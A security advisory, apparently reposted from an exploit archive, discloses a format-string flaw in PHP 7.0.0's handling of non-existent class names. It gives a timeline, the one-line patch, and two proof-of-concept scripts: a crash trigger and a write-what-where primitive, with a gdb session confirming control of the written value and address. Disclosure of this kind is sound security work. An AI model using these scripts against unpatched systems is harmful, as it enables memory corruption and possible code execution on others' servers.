PHP 7.0.0 - Format String Vulnerability

2015-12-24 / 2016-01-25
Credit: Andrew Kramer
Risk: High
Local: Yes
Remote: No
CWE: N/A


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

Overview -------------------------------------------- A fun little format string vulnerability exists in PHP 7.0.0 due to how non-existent class names are handled. From my limited research I believe this issue is likely exploitable for full code execution (see test script below). This issue does not appear to be present in previous PHP versions and has been patched in version 7.0.1. If you build a working exploit, drop me a line, I'd love to see (andrew at jmpesp dot org). Shout out to the PHP team for fixing this so quickly and for building a great product. Greetz to my DSU crew. Timeline -------------------------------------------- 12/11/2015: Discovered 12/12/2015: Reported to PHP team 12/13/2015: Patch accepted and committed 12/17/2015: PHP 7.0.1 released containing patch 12/22/2015: Publicly disclosed Vulnerability/Patch -------------------------------------------- diff -rup php-7.0.0_old/Zend/zend_execute_API.c php-7.0.0_new/Zend/zend_execute_API.c --- php-7.0.0_old/Zend/zend_execute_API.c 2015-12-01 07:36:25.000000000 -0600 +++ php-7.0.0_new/Zend/zend_execute_API.c 2015-12-12 12:24:24.999391117 -0600 @@ -218,7 +218,7 @@ static void zend_throw_or_error(int fetc zend_vspprintf(&message, 0, format, va); if (fetch_type & ZEND_FETCH_CLASS_EXCEPTION) { - zend_throw_error(exception_ce, message); + zend_throw_error(exception_ce, "%s", message); } else { zend_error(E_ERROR, "%s", message); } Proof of Concept #1 (simple segfault) -------------------------------------------- <?php $name="%n%n%n%n%n"; $name::doSomething(); ?> Proof of Concept #2 (write-what-where primitive) -------------------------------------------- andrew@thinkpad /tmp/php-7.0.0_64 % cat /tmp/test.php <?php ini_set("memory_limit", "4G"); // there's probably a much cleaner way to do this $rdx = 0x42424242; // what $rax = 0x43434343; // where $name = "%" . ($rdx - 8) . "d" . "%d" . "%n" . str_repeat("A", ($rax - 34)); // your offsets may differ. $name::doSomething(); ?> andrew@thinkpad /tmp/php-7.0.0_64 % gdb sapi/cli/php GNU gdb (GDB) 7.10 Copyright (C) 2015 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-unknown-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from sapi/cli/php...done. (gdb) r /tmp/test.php Starting program: /tmp/php-7.0.0_64/sapi/cli/php /tmp/test64.php [Thread debugging using libthread_db enabled] Using host libthread_db library "/usr/lib/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. 0x0000000000672935 in xbuf_format_converter (xbuf=xbuf@entry=0x7fffffffa610, is_char=is_char@entry=1 '�01', fmt=<optimized out>, ap=0x7fffffffa658) at /tmp/php-7.0.0_64/main/spprintf.c:744 744 *(va_arg(ap, int *)) = is_char? (int)((smart_string *)xbuf)->len : (int)ZSTR_LEN(((smart_str *)xbuf)->s); (gdb) i r rax 0x43434343 1128481603 rbx 0x7fffb2800016 140736188121110 rcx 0x6e 110 rdx 0x42424242 1111638594 rsi 0x7fffffff9db0 140737488330160 rdi 0x7fffffffa658 140737488332376 rbp 0x1 0x1 rsp 0x7fffffff9d50 0x7fffffff9d50 r8 0x7fffffff9db0 140737488330160 r9 0x7fffb2800016 140736188121110 r10 0x0 0 r11 0x0 0 r12 0x20 32 r13 0x7fffffffa610 140737488332304 r14 0x0 0 r15 0x4242423a 1111638586 rip 0x672935 0x672935 <xbuf_format_converter+1845> eflags 0x10202 [ IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) x/1i $rip => 0x672935 <xbuf_format_converter+1845>: mov DWORD PTR [rax],edx (gdb)

References:

https://cxsecurity.com/cveshow/CVE-2015-6527/


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